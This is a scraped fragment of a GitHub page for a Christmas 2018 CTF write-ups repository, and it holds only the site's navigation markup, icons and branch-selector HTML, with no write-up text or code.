0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> serega6531 </span> <span>/</span> XmasCtf2018Writeups <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>0</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/serega6531/XmasCtf2018Writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":162837579,"originating_url":"https://github.com/serega6531/XmasCtf2018Writeups/tree/master/Wishlist","user_id":null}}" data-hydro-click-hmac="fa5ffa08c568536122669f15d26fbb59216d39f1f054155231c178eea808d165"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/serega6531/XmasCtf2018Writeups/refs" cache-key="v0:1545507422.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="c2VyZWdhNjUzMS9YbWFzQ3RmMjAxOFdyaXRldXBz" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/serega6531/XmasCtf2018Writeups/refs" cache-key="v0:1545507422.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="c2VyZWdhNjUzMS9YbWFzQ3RmMjAxOFdyaXRldXBz" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> 